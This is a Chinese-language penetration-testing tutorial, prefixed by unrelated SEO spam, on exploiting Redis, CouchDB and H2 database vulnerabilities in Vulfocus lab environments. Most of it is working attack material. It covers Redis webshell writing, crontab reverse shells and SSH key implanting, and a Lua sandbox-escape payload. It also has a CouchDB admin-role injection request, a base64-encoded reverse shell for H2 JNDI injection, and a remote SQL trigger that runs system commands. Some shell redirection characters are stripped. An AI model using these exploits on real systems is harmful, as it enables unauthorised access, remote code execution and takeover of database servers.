网站的必要性,在线网站推荐几个,中企动力天津科技有限公司,信誉比较好的商家可做网站目录
前置知识
数据库应用-Redis-未授权访问CVE漏洞
未授权访问#xff1a;CNVD-2015-07557
未授权访问-CNVD-2019-21763
未授权访问-沙箱绕过RCE-CVE-2022-0543
数据库应用-Couchdb-未授权越权CVE漏洞
Couchdb 垂直权限绕过#xff08;CVE-2017-12635…目录
前置知识
数据库应用-Redis-未授权访问CVE漏洞
未授权访问CNVD-2015-07557
未授权访问-CNVD-2019-21763
未授权访问-沙箱绕过RCE-CVE-2022-0543
数据库应用-Couchdb-未授权越权CVE漏洞
Couchdb 垂直权限绕过CVE-2017-12635
Couchdb 命令执行 CVE-2017-12636
数据库应用-H2database–未授权访问CVE漏洞
H2database jndi注入
H2database RCE(CVE-2022-23221) 知识点 1、数据库-Redis-未授权RCECVE 2、数据库-Couchdb-未授权RCECVE 3、数据库-H2database-未授权RCECVE 前置知识
1、复现环境Vulfocus(官方在线的无法使用需要自己本地搭建)
官方手册https://fofapro.github.io/vulfocus/#/
本地搭建参考文章https://blog.csdn.net/m0_60571842/article/details/135677318
2、服务判断: 端口扫描利用服务开启后目标端口开放判断 组合判断利用搭建常见组合分析可能开放服务 信息来源访问端口提示软件版本应用信息等 强弱特征如框架shiro强特征rememberMe,SpringBoot默认页面等
3、对象类别: 对服务进行类别划分通过服务功能理解如数据库有帐号密码就有爆破利用方法也可以针对服务公开的CVE进行漏洞测试及服务常见的错误安全配置导致的未授权访问等。
4、利用方法: 主要集中在CVE漏洞未授权访问弱口令爆破等 数据库应用-Redis-未授权访问CVE漏洞
默认端口6379
Redis是一套开源的使用ANSI C编写、支持网络、可基于内存亦可持久化的日志型、键值存储数据库并提供多种语言的API。Redis如果在没有开启认证的情况下可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。
Redis数据库可视化管理工具https://github.com/qishibo/AnotherRedisDesktopManager/ 未授权访问CNVD-2015-07557 写Webshell需得到Web路径
利用条件Web目录权限可读写
config set dir /tmp #设置WEB写入目录
config set dbfilename 1.php #设置写入文件名
set test ?php phpinfo();? #设置写入文件代码
save #保存执行
注意部分web目录可能会没读写权限 本地虚拟机环境测试 写定时任务反弹shell(需要等待1-2分钟才会反弹)
利用条件Redis服务使用ROOT账号启动安全模式protected-mode处于关闭状态
set shell \n\n*/1 * * * * /bin/bash -i/dev/tcp/192.168.110.141/4789 01\n\n
config set dir /var/spool/cron/
config set dbfilename root
save攻击机nc -lvvp 5555 注意
centos会忽略乱码去执行格式正确的任务计划而ubuntu并不会忽略这些乱码所以导致命令执行失败
写入Linux ssh-key公钥 利用条件Redis服务使用ROOT账号启动安全模式protected-mode处于关闭状态并允许使用密钥登录
本地生成公钥和私钥将公钥写入到目标的.ssh文件夹本地私钥ssh 连接
攻击机ssh-keygen -t rsa //执行生成key命令 cd /root/.ssh/ //进入到这个目录下执行lsid_rsa #私钥
id_rsa.pub #公钥(echo -e \n\n; cat id_rsa.pub; echo -e \n\n) key.txt //将生成的公钥保存到key.txtcat key.txt | redis-cli -h 目标IP -x set xxx //将保存的key.txt文件内容写入redisredis连接工具
config set dir /root/.ssh/
config set dbfilename authorized_keys
save自己的攻击机使用ssh去连接
cd /root/.ssh/
ssh -i id_rsa root目标IP也可以直接
ssh 目标地址自动化项目https://github.com/n0b0dyCN/redis-rogue-server
python redis-rogue-server.py --rhost 目标IP --rport 目标端口 --lhost IP输入r就是反弹shell输入i就是直接返回一个shell给你执行命令 未授权访问-CNVD-2019-21763 由于在Reids 4.x及以上版本中新增了模块功能攻击者可通过外部拓展在Redis中实现一个新的Redis命令。攻击者可以利用该功能引入模块在未授权访问的情况下使被攻击服务器加载恶意.so 文件从而实现远程代码执行。
https://github.com/vulhub/redis-rogue-getshell
python redis-master.py -r 目标IP -p 目标端口 -L 攻击IP -P 8888 -f RedisModulesSDK/exp.so -c id未授权访问-沙箱绕过RCE-CVE-2022-0543 Poc执行id命令
eval local io_l package.loadlib(/usr/lib/x86_64-linux-gnu/liblua5.1.so.0, luaopen_io); local io io_l(); local f io.popen(id, r); local res f:read(*a); f:close(); return res 0数据库应用-Couchdb-未授权越权CVE漏洞
默认端口5984
Apache CouchDB是一个开源数据库专注于易用性和成为完全拥抱web的数据库。它是一个使用JSON作为存储格式JavaScript作为查询语言MapReduce和HTTP作为API的NoSQL数据库。应用广泛如BBC用在其动态内容展示平台Credit Suisse用在其内部的商品部门的市场框架Meebo用在其社交平台web和应用程序。在2017年11月15日CVE-2017-12635和 CVE-2017-12636披露利用。 Couchdb 垂直权限绕过CVE-2017-12635 1、先创建用户
PUT /_users/org.couchdb.user:xiaodi HTTP/1.1
Host: 47.94.236.117:44389
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 108
{type: user,name: xiaodi,roles: [_admin],roles: [],password: xiaodi
}2、登录用户验证
Get:/_utils/
xiaodi xiaodiCouchdb 命令执行 CVE-2017-12636 https://github.com/vulhub/vulhub/blob/master/couchdb/CVE-2017-12636/exp.py
1、下载exp.py 2、修改目标和反弹地址 3、Python3调用执行即可 数据库应用-H2database–未授权访问CVE漏洞
默认端口20051
Java SQL 数据库 H2,H2的主要特点是非常快开源JDBC API嵌入式和服务器模式内存数据库基于浏览器的控制台应用程序。H2 数据库控制台中的另一个未经身份验证的 RCE 漏洞在v2.1.210中修复。2.1.210 之前的H2控制台允许远程攻击者通过包含子字符串的jdbc:h2:mem JDBC URL执行任意代码。 H2database jndi注入
利用这个管理页面我们可以进行 JNDI 注入攻击进而在目标环境下执行任意命令。
工具地址JNDI-Injection-Exploit
payload
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C bash -c {echo,L2Jpbi9zaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjEwMC4xLzY2NjYgMD4mMQ}|{base64,-d}|{bash,-i} -A 攻击者IP//反弹shell命令就行base64编码
/bin/sh -i /dev/tcp/192.168.100.1/6666 01编码后
bash -c {echo,L2Jpbi9zaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjEwMC4xLzY2NjYgMD4mMQ}|{base64,-d}|{bash,-i}攻击端监听就行
nc -lvvp 6666将生成出来的所提供的服务输入到界面当中进行连接 指定驱动类
javax.naming.InitialContext服务端可以观察到日志 成功反弹shell H2database RCE(CVE-2022-23221)
未授权进入
jdbc:h2:mem:test1;FORBID_CREATIONFALSE;IGNORE_UNKNOWN_SETTINGSTRUE;FORBID_CREATIONFALSE;\RCE执行反弹
攻击机上完成创建数据库文件h2database.sql
CREATE TABLE test (id INT NOT NULL);
CREATE TRIGGER TRIG_JS BEFORE INSERT ON TEST AS //javascript
Java.type(java.lang.Runtime).getRuntime().exec(bash -c {echo,base64加密的反弹shell指令}|{base64,-d}|{bash,-i});;
#反弹指令示例bash -i /dev/tcp/x.x.x.x/6666 01启动提供SQL文件远程加载服务
python3 -m http.server 端口目标填入Payload使其加载远程SQL
jdbc:h2:mem:test1;FORBID_CREATIONFALSE;IGNORE_UNKNOWN_SETTINGSTRUE;FORBID_CREATIONFALSE;INITRUNSCRIPT FROM http://
搭建的IP:端口/h2database.sql;\攻击机上监听
nc -lvvp xxxx